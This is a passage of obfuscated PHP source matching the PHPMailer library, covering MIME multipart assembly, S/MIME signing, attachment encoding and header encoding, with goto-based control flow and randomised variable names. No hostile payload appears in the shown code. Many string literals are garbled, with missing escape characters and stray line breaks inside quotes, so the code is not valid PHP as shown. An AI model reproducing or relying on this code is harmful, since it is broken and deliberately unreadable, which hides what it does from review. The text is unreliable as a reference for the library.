                $UlmlF .= static::$LE; 
                $UlmlF .= $this->endBoundary($this->boundary[1]); 
                goto VweLU; 
            case "alt_attach": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->textLine("--" . $this->boundary[1]); 
                $UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); 
                $UlmlF .= $this->textLine("	boundary="" . $this->boundary[2] . """); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE); 
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                if (empty($this->Ical)) { 
                    goto C_4cX; 
                } 
                $UlmlF .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", ''); 
                $UlmlF .= $this->encodeString($this->Ical, $this->Encoding); 
                C_4cX: 
                $UlmlF .= $this->endBoundary($this->boundary[2]); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("attachment", $this->boundary[1]); 
                goto VweLU; 
            case "alt_inline_attach": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->textLine("--" . $this->boundary[1]); 
                $UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); 
                $UlmlF .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE); 
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->textLine("--" . $this->boundary[2]); 
                $UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); 
                $UlmlF .= $this->textLine("	boundary="" . $this->boundary[3] . """); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[3], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("inline", $this->boundary[3]); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->endBoundary($this->boundary[2]); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("attachment", $this->boundary[1]); 
                goto VweLU; 
            default: 
                $this->Encoding = $iNpJe; 
                $UlmlF .= $this->encodeString($this->Body, $this->Encoding); 
                goto VweLU; 
        } 
        la31j: 
        VweLU: 
        if ($this->isError()) { 
            goto CA9Hi; 
        } 
        if ($this->sign_key_file) { 
            goto wfcJW; 
        } 
        goto yevxh; 
        CA9Hi: 
        $UlmlF = ''; 
        if (!$this->exceptions) { 
            goto j57n1; 
        } 
        throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL); 
        j57n1: 
        goto yevxh; 
        wfcJW: 
        try { 
            if (defined("PKCS7_TEXT")) { 
                goto wwFiY; 
            } 
            throw new Exception($this->lang("extension_missing") . "openssl"); 
            wwFiY: 
            $vn08u = fopen("php://temp", "rb+"); 
            $ty0iw = fopen("php://temp", "rb+"); 
            fwrite($vn08u, $UlmlF); 
            if (empty($this->sign_extracerts_file)) { 
                goto x21AA; 
            } 
            $DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file); 
            goto rU9Km; 
            x21AA: 
            $DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], []); 
            rU9Km: 
            fclose($vn08u); 
            if ($DiqXR) { 
                goto JgnAB; 
            } 
            fclose($ty0iw); 
            throw new Exception($this->lang("signing") . openssl_error_string()); 
            goto OzdyM; 
            JgnAB: 
            $UlmlF = file_get_contents($ty0iw); 
            fclose($ty0iw); 
            $EQ5MH = explode("\xa
", $UlmlF, 2); 
            $this->MIMEHeader .= $EQ5MH[0] . static::$LE . static::$LE; 
            $UlmlF = $EQ5MH[1]; 
            OzdyM: 
        } catch (Exception $CsLop) { 
            $UlmlF = ''; 
            if (!$this->exceptions) { 
                goto l9plm; 
            } 
            throw $CsLop; 
            l9plm: 
        } 
        yevxh: 
        return $UlmlF; 
    } 
    protected function getBoundary($DCyE_, $jf2sH, $PBZc0, $CTuvx) 
    { 
        $HYIC3 = ''; 
        if (!('' == $jf2sH)) { 
            goto TXmYT; 
        } 
        $jf2sH = $this->CharSet; 
        TXmYT: 
        if (!('' == $PBZc0)) { 
            goto EwHxT; 
        } 
        $PBZc0 = $this->ContentType; 
        EwHxT: 
        if (!('' == $CTuvx)) { 
            goto SNlv2; 
        } 
        $CTuvx = $this->Encoding; 
        SNlv2: 
        $HYIC3 .= $this->textLine("--" . $DCyE_); 
        $HYIC3 .= sprintf("Content-Type: %s; charset=%s", $PBZc0, $jf2sH); 
        $HYIC3 .= static::$LE; 
        if (!(static::ENCODING_7BIT != $CTuvx)) { 
            goto IEzud; 
        } 
        $HYIC3 .= $this->headerLine("Content-Transfer-Encoding", $CTuvx); 
        IEzud: 
        $HYIC3 .= static::$LE; 
        return $HYIC3; 
    } 
    protected function endBoundary($DCyE_) 
    { 
        return static::$LE . "--" . $DCyE_ . "--" . static::$LE; 
    } 
    protected function setMessageType() 
    { 
        $W7B1j = []; 
        if (!$this->alternativeExists()) { 
            goto na_Ur; 
        } 
        $W7B1j[] = "alt"; 
        na_Ur: 
        if (!$this->inlineImageExists()) { 
            goto viPSD; 
        } 
        $W7B1j[] = "inline"; 
        viPSD: 
        if (!$this->attachmentExists()) { 
            goto FyAZ9; 
        } 
        $W7B1j[] = "attach"; 
        FyAZ9: 
        $this->message_type = implode("_", $W7B1j); 
        if (!('' == $this->message_type)) { 
            goto vVev4; 
        } 
        $this->message_type = "plain"; 
        vVev4: 
    } 
    public function headerLine($dEC3m, $GywUj) 
    { 
        return $dEC3m . ": " . $GywUj . static::$LE; 
    } 
    public function textLine($GywUj) 
    { 
        return $GywUj . static::$LE; 
    } 
    public function addAttachment($t1usk, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "attachment") 
    { 
        try { 
            if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) { 
                goto IsjtG; 
            } 
            throw new Exception($this->lang("file_access") . $t1usk, self::STOP_CONTINUE); 
            IsjtG: 
            if (!('' == $W7B1j)) { 
                goto chvMA; 
            } 
            $W7B1j = static::filenameToType($t1usk); 
            chvMA: 
            $FFm9e = basename($t1usk); 
            if (!('' == $dEC3m)) { 
                goto Q0eP_; 
            } 
            $dEC3m = $FFm9e; 
            Q0eP_: 
            $this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $dEC3m]; 
        } catch (Exception $CsLop) { 
            $this->setError($CsLop->getMessage()); 
            $this->edebug($CsLop->getMessage()); 
            if (!$this->exceptions) { 
                goto XdDql; 
            } 
            throw $CsLop; 
            XdDql: 
            return false; 
        } 
        return true; 
    } 
    public function getAttachments() 
    { 
        return $this->attachment; 
    } 
    protected function attachAll($zvcbf, $DCyE_) 
    { 
        $x0bAU = []; 
        $ZqXFB = []; 
        $JqU5f = []; 
        foreach ($this->attachment as $XGAfM) { 
            if (!($XGAfM[6] == $zvcbf)) { 
                goto Ywv_1; 
            } 
            $jm30w = ''; 
            $t1usk = ''; 
            $iS2Yi = $XGAfM[5]; 
            if ($iS2Yi) { 
                goto D2o0L; 
            } 
            $t1usk = $XGAfM[0]; 
            goto P0kXi; 
            D2o0L: 
            $jm30w = $XGAfM[0]; 
            P0kXi: 
            $vXmoj = hash("sha256", serialize($XGAfM)); 
            if (!in_array($vXmoj, $JqU5f)) { 
                goto soGdQ; 
            } 
            goto v5t7l; 
            soGdQ: 
            $JqU5f[] = $vXmoj; 
            $dEC3m = $XGAfM[2]; 
            $CTuvx = $XGAfM[3]; 
            $W7B1j = $XGAfM[4]; 
            $wOvSy = $XGAfM[6]; 
            $qsaom = $XGAfM[7]; 
            if (!("inline" == $wOvSy and array_key_exists($qsaom, $ZqXFB))) { 
                goto J2yWg; 
            } 
            goto v5t7l; 
            J2yWg: 
            $ZqXFB[$qsaom] = true; 
            $x0bAU[] = sprintf("--%s%s", $DCyE_, static::$LE); 
            if (!empty($dEC3m)) { 
                goto oUzVn; 
            } 
            $x0bAU[] = sprintf("Content-Type: %s%s", $W7B1j, static::$LE); 
            goto JVVtn; 
            oUzVn: 
            $x0bAU[] = sprintf("Content-Type: %s; name="%s"%s", $W7B1j, $this->encodeHeader($this->secureHeader($dEC3m)), static::$LE); 
            JVVtn: 
            if (!(static::ENCODING_7BIT != $CTuvx)) { 
                goto oo4wW; 
            } 
            $x0bAU[] = sprintf("Content-Transfer-Encoding: %s%s", $CTuvx, static::$LE); 
            oo4wW: 
            if (empty($qsaom)) { 
                goto oYrr0; 
            } 
            $x0bAU[] = sprintf("Content-ID: <%s>%s", $qsaom, static::$LE); 
            oYrr0: 
            if (!empty($wOvSy)) { 
                goto zS7Wc; 
            } 
            $x0bAU[] = static::$LE; 
            goto zRuBG; 
            zS7Wc: 
            $hL22e = $this->encodeHeader($this->secureHeader($dEC3m)); 
            if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $hL22e)) { 
                goto eNcYm; 
            } 
            if (!empty($hL22e)) { 
                goto mMXe1; 
            } 
            $x0bAU[] = sprintf("Content-Disposition: %s%s", $wOvSy, static::$LE . static::$LE); 
            goto Ls9dA; 
            mMXe1: 
            $x0bAU[] = sprintf("Content-Disposition: %s; filename=%s%s", $wOvSy, $hL22e, static::$LE . static::$LE); 
            Ls9dA: 
            goto rE0Vo; 
            eNcYm: 
            $x0bAU[] = sprintf("Content-Disposition: %s; filename="%s"%s", $wOvSy, $hL22e, static::$LE . static::$LE); 
            rE0Vo: 
            zRuBG: 
            if ($iS2Yi) { 
                goto j3pk_; 
            } 
            $x0bAU[] = $this->encodeFile($t1usk, $CTuvx); 
            goto wrvHd; 
            j3pk_: 
            $x0bAU[] = $this->encodeString($jm30w, $CTuvx); 
            wrvHd: 
            if (!$this->isError()) { 
                goto HvO_Q; 
            } 
            return ''; 
            HvO_Q: 
            $x0bAU[] = static::$LE; 
            Ywv_1: 
            v5t7l: 
        } 
        OSMC_: 
        $x0bAU[] = sprintf("--%s--%s", $DCyE_, static::$LE); 
        return implode('', $x0bAU); 
    } 
    protected function encodeFile($t1usk, $CTuvx = self::ENCODING_BASE64) 
    { 
        try { 
            if (!(!static::isPermittedPath($t1usk) || !file_exists($t1usk))) { 
                goto iGX3W; 
            } 
            throw new Exception($this->lang("file_open") . $t1usk, self::STOP_CONTINUE); 
            iGX3W: 
            $P60uD = file_get_contents($t1usk); 
            if (!(false === $P60uD)) { 
                goto a15P1; 
            } 
            throw new Exception($this->lang("file_open") . $t1usk, self::STOP_CONTINUE); 
            a15P1: 
            $P60uD = $this->encodeString($P60uD, $CTuvx); 
            return $P60uD; 
        } catch (Exception $CsLop) { 
            $this->setError($CsLop->getMessage()); 
            return ''; 
        } 
    } 
    public function encodeString($YX4WE, $CTuvx = self::ENCODING_BASE64) 
    { 
        $KtgKe = ''; 
        switch (strtolower($CTuvx)) { 
            case static::ENCODING_BASE64: 
                $KtgKe = chunk_split(base64_encode($YX4WE), static::STD_LINE_LENGTH, static::$LE); 
                goto M8sUw; 
            case static::ENCODING_7BIT: 
            case static::ENCODING_8BIT: 
                $KtgKe = static::normalizeBreaks($YX4WE); 
                if (!(substr($KtgKe, -strlen(static::$LE)) != static::$LE)) { 
                    goto fuHT5; 
                } 
                $KtgKe .= static::$LE; 
                fuHT5: 
                goto M8sUw; 
            case static::ENCODING_BINARY: 
                $KtgKe = $YX4WE; 
                goto M8sUw; 
            case static::ENCODING_QUOTED_PRINTABLE: 
                $KtgKe = $this->encodeQP($YX4WE); 
                goto M8sUw; 
            default: 
                $this->setError($this->lang("encoding") . $CTuvx); 
                goto M8sUw; 
        } 
        LH3Gf: 
        M8sUw: 
        return $KtgKe; 
    } 
    public function encodeHeader($YX4WE, $toYvh = "text") 
    { 
        $FcxOg = 0; 
        switch (strtolower($toYvh)) { 
            case "phrase": 
                if (preg_match("/[\200-\377]/", $YX4WE)) { 
                    goto YmQ_6; 
                } 
                $KtgKe = addcslashes($YX4WE, "\0..\37\177\""); 
                if (!($YX4WE == $KtgKe and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $YX4WE))) { 
                    goto dzEzo; 
                } 
                return $KtgKe; 
                dzEzo: 
                return ""{$KtgKe}""; 
                YmQ_6: 
                $FcxOg = preg_match_all("/[^\040\041\043-\133\135-\176]/", $YX4WE, $I3B9w); 
                goto rcbvt; 
            case "comment": 
                $FcxOg = preg_match_all("/[()"]/", $YX4WE, $I3B9w); 
            case "text": 
            default: 
                $FcxOg += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $YX4WE, $I3B9w); 
                goto rcbvt; 
        } 
        TFGkl: 
        rcbvt: 
        $CNWiI = "mail" == $this->Mailer ? 13 : 0; 
        $toj7M = static::STD_LINE_LENGTH - $CNWiI; 
        if ($FcxOg > strlen($YX4WE) / 3) { 
            goto XcgG8; 
        } 
        if ($FcxOg > 0) { 
            goto SKXjy; 
        } 
        if (strlen($YX4WE) > $toj7M) { 
            goto nTpgc; 
        } 
        return $YX4WE; 
        goto lYL24; 
        XcgG8: 
        $CTuvx = "B"; 
        $toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet); 
        if ($this->hasMultiBytes($YX4WE)) { 
            goto BR5Wa; 
        } 
        $KtgKe = base64_encode($YX4WE); 
        $toj7M -= $toj7M % 4; 
        $KtgKe = trim(chunk_split($KtgKe, $toj7M, "
")); 
        goto nXrvs; 
        BR5Wa: 
        $KtgKe = $this->base64EncodeWrapMB($YX4WE, "
"); 
        nXrvs: 
        $KtgKe = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$CTuvx}?\1?=", $KtgKe); 
        goto lYL24; 
        SKXjy: 
        $CTuvx = "Q"; 
        $toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet); 
        $KtgKe = $this->encodeQ($YX4WE, $toYvh); 
        $KtgKe = $this->wrapText($KtgKe, $toj7M, true); 
        $KtgKe = str_replace("=" . static::$LE, "\xa", trim($KtgKe)); 
        $KtgKe = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$CTuvx}?\1?=", $KtgKe); 
        goto lYL24; 
        nTpgc: 
        $KtgKe = trim($this->wrapText($YX4WE, $toj7M, false)); 
        if (!($YX4WE == $KtgKe)) { 
            goto IypyJ; 
        } 
        $KtgKe = trim(chunk_split($YX4WE, static::STD_LINE_LENGTH, static::$LE)); 
        IypyJ: 
        $KtgKe = str_replace(static::$LE, "
", trim($KtgKe)); 
        $KtgKe = preg_replace("/^(.*)$/m", " \1", $KtgKe); 
        lYL24: 
        return trim(static::normalizeBreaks($KtgKe)); 
    } 
    public function hasMultiBytes($YX4WE) 
    { 
        if (!function_exists("mb_strlen")) { 
            goto o054B; 
        } 
        return strlen($YX4WE) > mb_strlen($YX4WE, $this->CharSet); 
        o054B: 
        return false; 
    } 
    public function has8bitChars($izkEo) 
    { 
        return (bool) preg_match("/[\x80-\xFF]/", $izkEo); 
    } 
    public function base64EncodeWrapMB($YX4WE, $DQcZH = null) 
    { 
        $bFUGm = "=?" . $this->CharSet . "?B?"; 
        $Z8gKi = "?="; 
        $KtgKe = ''; 
        if (!(null === $DQcZH)) { 
            goto Vau9e; 
        } 
        $DQcZH = static::$LE; 
        Vau9e: 
        $bFy1z = mb_strlen($YX4WE, $this->CharSet); 
        $Z6HTu = 75 - strlen($bFUGm) - strlen($Z8gKi); 
        $Gh5p0 = $bFy1z / strlen($YX4WE); 
        $vQ6V_ = floor($Z6HTu * $Gh5p0 * 0.75); 
        $KJHmb = 0; 
        sJMqb: 
        if (!($KJHmb < $bFy1z)) { 
            goto JwKVM; 
        } 
        $NPMHP = 0; 
        EGi6I: 
        $ynVzc = $vQ6V_ - $NPMHP; 
        $d_gCi = mb_substr($YX4WE, $KJHmb, $ynVzc, $this->CharSet); 
        $d_gCi = base64_encode($d_gCi); 
        ++$NPMHP; 
        if (strlen($d_gCi) > $Z6HTu) { 
            goto EGi6I; 
        } 
        uAtIF: 
        $KtgKe .= $d_gCi . $DQcZH; 
        t28Pn: 
        $KJHmb += $ynVzc; 
        goto sJMqb; 
        JwKVM: 
        return substr($KtgKe, 0, -strlen($DQcZH)); 
    } 
    public function encodeQP($jm30w) 
    { 
        return static::normalizeBreaks(quoted_printable_encode($jm30w)); 
    } 
    public function encodeQ($YX4WE, $toYvh = "text") 
    { 
        $zf42W = ''; 
        $KtgKe = str_replace(["
", "
"], '', $YX4WE); 
        switch (strtolower($toYvh)) { 
            case "phrase": 
                $zf42W = "^A-Za-z0-9!*+\/ -"; 
                goto n0Ef0; 
            case "comment": 
                $zf42W = "\(\)""; 
            case "text": 
            default: 
                $zf42W = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $zf42W; 
                goto n0Ef0; 
        } 
        Hi636: 
        n0Ef0: 
        $I3B9w = []; 
        if (!preg_match_all("/[{$zf42W}]/", $KtgKe, $I3B9w)) { 
            goto s6xON; 
        } 
        $n2U4c = array_search("=", $I3B9w[0]); 
        if (!(false !== $n2U4c)) { 
            goto kVYmJ; 
        } 
        unset($I3B9w[0][$n2U4c]); 
        array_unshift($I3B9w[0], "="); 
        kVYmJ: 
        foreach (array_unique($I3B9w[0]) as $E1cUa) { 
            $KtgKe = str_replace($E1cUa, "=" . sprintf("%02X", ord($E1cUa)), $KtgKe); 
            hru8R: 
        } 
        RUs4v: 
        s6xON: 
        return str_replace(" ", "_", $KtgKe); 
    } 
    public function addStringAttachment($jm30w, $FFm9e, $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "attachment") 
    { 
        if (!('' == $W7B1j)) { 
            goto IYPlp; 
        } 
        $W7B1j = static::filenameToType($FFm9e); 
        IYPlp: 
        $this->attachment[] = [0 => $jm30w, 1 => $FFm9e, 2 => basename($FFm9e), 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => 0]; 
    } 
    public function addEmbeddedImage($t1usk, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "inline") 
    { 
        if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) { 
            goto u5LeL; 
        } 
        $this->setError($this->lang("file_access") . $t1usk); 
        return false; 
        u5LeL: 
        if (!('' == $W7B1j)) { 
            goto XSCS1; 
        } 
        $W7B1j = static::filenameToType($t1usk); 
        XSCS1: 
        $FFm9e = basename($t1usk); 
        if (!('' == $dEC3m)) { 
            goto v39LO; 
        } 
        $dEC3m = $FFm9e; 
        v39LO: 
        $this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $qsaom]; 
        return true; 
    } 
    public function addStringEmbeddedImage($jm30w, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "inline") 
    { 
        if (!('' == $W7B1j and !empty($dEC3m))) { 
            goto HVcii; 
        } 
        $W7B1j = static::filenameToType($dEC3m); 
        HVcii: 
        $this->attachment[] = [0 => $jm30w, 1 => $dEC3m, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => $qsaom]; 
        return true; 
    } 
    protected function cidExists($qsaom) 
    { 
        foreach ($this->attachment as $XGAfM) { 
            if (!("inline" == $XGAfM[6] and $qsaom == $XGAfM[7])) { 
                goto eK595; 
            } 
            return true; 
            eK595: 
            GU1c9: 
        } 
        fH2Y8: 
        return false; 
    } 
    public function inlineImageExists() 
    { 
        foreach ($this->attachment as $XGAfM) { 
            if (!("inline" == $XGAfM[6])) { 
                goto odzO0; 
            } 
            return true; 
            odzO0: 
            smMKb: 
        } 
        kvv1Y: 
        return false; 
    } 
    public function attachmentExists() 
    { 
        foreach ($this->attachment as $XGAfM) { 
            if (!("attachment" == $XGAfM[6])) { 
                goto haCT0; 
            } 
            return true; 
            haCT0: 
            dkn59: 
        } 
        DvjZ_: 
        return false; 
    } 
    public function alternativeExists() 
    { 
        return !empty($this->AltBody); 
    } 
    public function clearQueuedAddresses($unDTy) 
    { 
        $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($s2iYx) use($unDTy) { 
            return $s2iYx[0] != $unDTy; 
        }); 
    } 
    public function clearAddresses() 
    { 
        foreach ($this->to as $g7_oI) { 
            unset($this->all_recipients[strtolower($g7_oI[0])]); 
            fNsDl: 
        } 
        vhppW: 
        $this->to = []; 
        $this->clearQueuedAddresses("to"); 
    } 
    public function clearCCs() 
    { 
        foreach ($this->cc as $bKKB9) { 
            unset($this->all_recipients[strtolower($bKKB9[0])]); 
            DkZ_M: 
        } 
        EzPFP: 
        $this->cc = []; 
        $this->clearQueuedAddresses("cc"); 
    } 
    public function clearBCCs() 
    { 
        foreach ($this->bcc as $DZLkJ) { 
            unset($this->all_recipients[strtolower($DZLkJ[0])]); 
            p4s9M: 
        } 
        GaRDJ: 
        $this->bcc = []; 
        $this->clearQueuedAddresses("bcc"); 
    } 
    public function clearReplyTos() 
    { 
        $this->ReplyTo = []; 
        $this->ReplyToQueue = []; 
    } 
    public function clearAllRecipients() 
    { 
        $this->to = []; 
        $this->cc = []; 
        $this->bcc = []; 
        $this->all_recipients = []; 
        $this->RecipientsQueue = []; 
    } 
    public function clearAttachments() 
    { 
        $this->attachment = []; 
    } 
    public function clearCustomHeaders() 
    { 
        $this->CustomHeader = []; 
    } 
    protected function setError($naxGQ) 
    { 
        ++$this->error_count; 
        if (!("smtp" == $this->Mailer and null !== $this->smtp)) { 
            goto dznwg; 
        } 
        $RhW13 = $this->smtp->getError(); 
        if (empty($RhW13["error"])) { 
            goto z2wCv; 
        } 
        $naxGQ .= $this->lang("smtp_error") . $RhW13["error"]; 
        if (empty($RhW13["detail"])) { 
            goto L9IM1; 
        } 
        $naxGQ .= " Detail: " . $RhW13["detail"]; 
        L9IM1: 
        if (empty($RhW13["smtp_code"])) { 
            goto wREEN; 
        } 
        $naxGQ .= " SMTP code: " . $RhW13["smtp_code"]; 
        wREEN: 
        if (empty($RhW13["smtp_code_ex"])) { 
            goto CU2Tp; 
        } 
        $naxGQ .= " Additional SMTP info: " . $RhW13["smtp_code_ex"]; 
        CU2Tp: 
        z2wCv: 
        dznwg: 
        $this->ErrorInfo = $naxGQ; 
    } 
    public static function rfcDate() 
    { 
        date_default_timezone_set(@date_default_timezone_get()); 
        return date("D, j M Y H:i:s O"); 
    } 
    protected function serverHostname() 
    { 
        $HYIC3 = ''; 
        if (!empty($this->Hostname)) { 
            goto Z_UZp; 
        } 
        if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) { 
            goto A2qaZ; 
        } 
        if (function_exists("gethostname") and gethostname() !== false) { 
            goto N9vaW; 
        } 
        if (php_uname("n") !== false) { 
            goto xWMwl; 
        } 
        goto ncEqQ; 
        Z_UZp: 
        $HYIC3 = $this->Hostname; 
        goto ncEqQ; 
        A2qaZ: 
        $HYIC3 = $_SERVER["SERVER_NAME"]; 
        goto ncEqQ; 
        N9vaW: 
        $HYIC3 = gethostname(); 
        goto ncEqQ; 
        xWMwl: 
        $HYIC3 = php_uname("n"); 
        ncEqQ: 
        if (static::isValidHost($HYIC3)) { 
            goto Gvq44; 
        } 
        return "localhost.localdomain"; 
        Gvq44: 
        return $HYIC3; 
    } 
    public static function isValidHost($S1iUU) 
    { 
        if (!(empty($S1iUU) or !is_string($S1iUU) or strlen($S1iUU) > 256)) { 
            goto ivFol; 
        } 
        return false; 
        ivFol: 
        if (!(trim($S1iUU, "[]") != $S1iUU)) { 
            goto HlRll; 
        } 
        return (bool) filter_var(trim($S1iUU, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); 
        HlRll: 
        if (!is_numeric(str_replace(".", '', $S1iUU))) { 
            goto Q4C0D; 
        } 
        return (bool) filter_var($S1iUU, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); 
        Q4C0D: 
        if (!filter_var("http://" . $S1iUU, FILTER_VALIDATE_URL)) { 
            goto LymsV; 
        } 
        return true; 
        LymsV: 
        return false; 
    } 
    protected function lang($pEv6e) 
    { 
        if (!(count($this->language) < 1)) { 
            goto N6JAG; 
        } 
        $this->setLanguage("en"); 
        N6JAG: 
        if (!array_key_exists($pEv6e, $this->language)) { 
            goto YaLKe; 
        } 
        if (!("smtp_connect_failed" == $pEv6e)) { 
            goto I8fnO; 
        } 
        return $this->language[$pEv6e]; 
        I8fnO: 
        return $this->language[$pEv6e]; 
        YaLKe: 
        return $pEv6e; 
    } 
    public function isError() 
    { 
        return $this->error_count > 0; 
    } 
    public function addCustomHeader($dEC3m, $GywUj = null) 
    { 
        if (null === $GywUj) { 
            goto CyTJG; 
        } 
        $this->CustomHeader[] = [$dEC3m, $GywUj]; 
        goto hZd43; 
        CyTJG: 
        $this->CustomHeader[] = explode(":", $dEC3m, 2); 
        hZd43: 
    } 
    public function getCustomHeaders() 
    { 
        return $this->CustomHeader; 
    } 
    public function msgHTML($GRJNx, $k002A = '', $oZBq4 = false) 
    { 
        preg_match_all("/(src|background)=["'](.*)["']/Ui", $GRJNx, $Y5L2H); 
        if (!array_key_exists(2, $Y5L2H)) { 
            goto ySnol; 
        } 
        if (!(strlen($k002A) > 1 && "/" != substr($k002A, -1))) { 
            goto I16vn; 
        } 
        $k002A .= "/"; 
        I16vn: 
        foreach ($Y5L2H[2] as $E9Pp8 => $z11sT) { 
            if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $z11sT, $WdJzM)) { 
                goto yHA0f; 
            } 
            if (count($WdJzM) == 4 and static::ENCODING_BASE64 == $WdJzM[2]) { 
                goto xctvD; 
            } 
            if ('' == $WdJzM[2]) { 
                goto sp5ly; 
            } 
            goto lm5Ei; 
            goto GMdlM; 
            xctvD: 
            $FJQWD = base64_decode($WdJzM[3]); 
            goto GMdlM; 
            sp5ly: 
            $FJQWD = rawurldecode($WdJzM[3]); 
            GMdlM: 
            $qsaom = hash("sha256", $FJQWD) . "@phpmailer.0"; 
            if ($this->cidExists($qsaom)) { 
                goto FGhpv; 
            } 
            $this->addStringEmbeddedImage($FJQWD, $qsaom, "embed" . $E9Pp8, static::ENCODING_BASE64, $WdJzM[1]); 
            FGhpv: 
            $GRJNx = str_replace($Y5L2H[0][$E9Pp8], $Y5L2H[1][$E9Pp8] . "="cid:" . $qsaom . """, $GRJNx); 
            goto lm5Ei; 
            yHA0f: 
            if (!(!empty($k002A) and strpos($z11sT, "..") === false and 0 !== strpos($z11sT, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $z11sT))) { 
                goto Gk0gJ; 
            } 
            $FFm9e = basename($z11sT); 
            $eypdK = dirname($z11sT); 
            if (!("." == $eypdK)) { 
                goto gOtz6; 
            } 
            $eypdK = ''; 
            gOtz6: 
            $qsaom = hash("sha256", $z11sT) . "@phpmailer.0"; 
            if (!(strlen($k002A) > 1 and "/" != substr($k002A, -1))) { 
                goto lQ0Xx; 
            } 
            $k002A .= "/"; 
            lQ0Xx: 
            if (!(strlen($eypdK) > 1 and "/" != substr($eypdK, -1))) { 
                goto h20WH; 
            } 
            $eypdK .= "/"; 
            h20WH: 
            if (!$this->addEmbeddedImage($k002A . $eypdK . $FFm9e, $qsaom, $FFm9e, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION)))) { 
                goto swbf5; 
            } 
            $GRJNx = preg_replace("/" . $Y5L2H[1][$E9Pp8] . "=["']" . preg_quote($z11sT, "/") . "["']/Ui", $Y5L2H[1][$E9Pp8] . "="cid:" . $qsaom . """, $GRJNx); 
            swbf5: 
            Gk0gJ: 
            lm5Ei: 
        } 
        vCEem: 
        ySnol: 
        $this->isHTML(true); 
        $this->Body = static::normalizeBreaks($GRJNx); 
        $this->AltBody = static::normalizeBreaks($this->html2text($GRJNx, $oZBq4)); 
        if ($this->alternativeExists()) { 
            goto WlghN; 
        } 
        $this->AltBody = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$LE; 
        WlghN: 
        return $this->Body; 
    } 
    public function html2text($PDovp, $oZBq4 = false) 
    { 
        if (!is_callable($oZBq4)) { 
            goto yeXlE; 
        } 
        return call_user_func($oZBq4, $PDovp); 
        yeXlE: 
        return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $PDovp))), ENT_QUOTES, $this->CharSet); 
    } 
    public static function _mime_types($Xeg7j = '') 
    { 
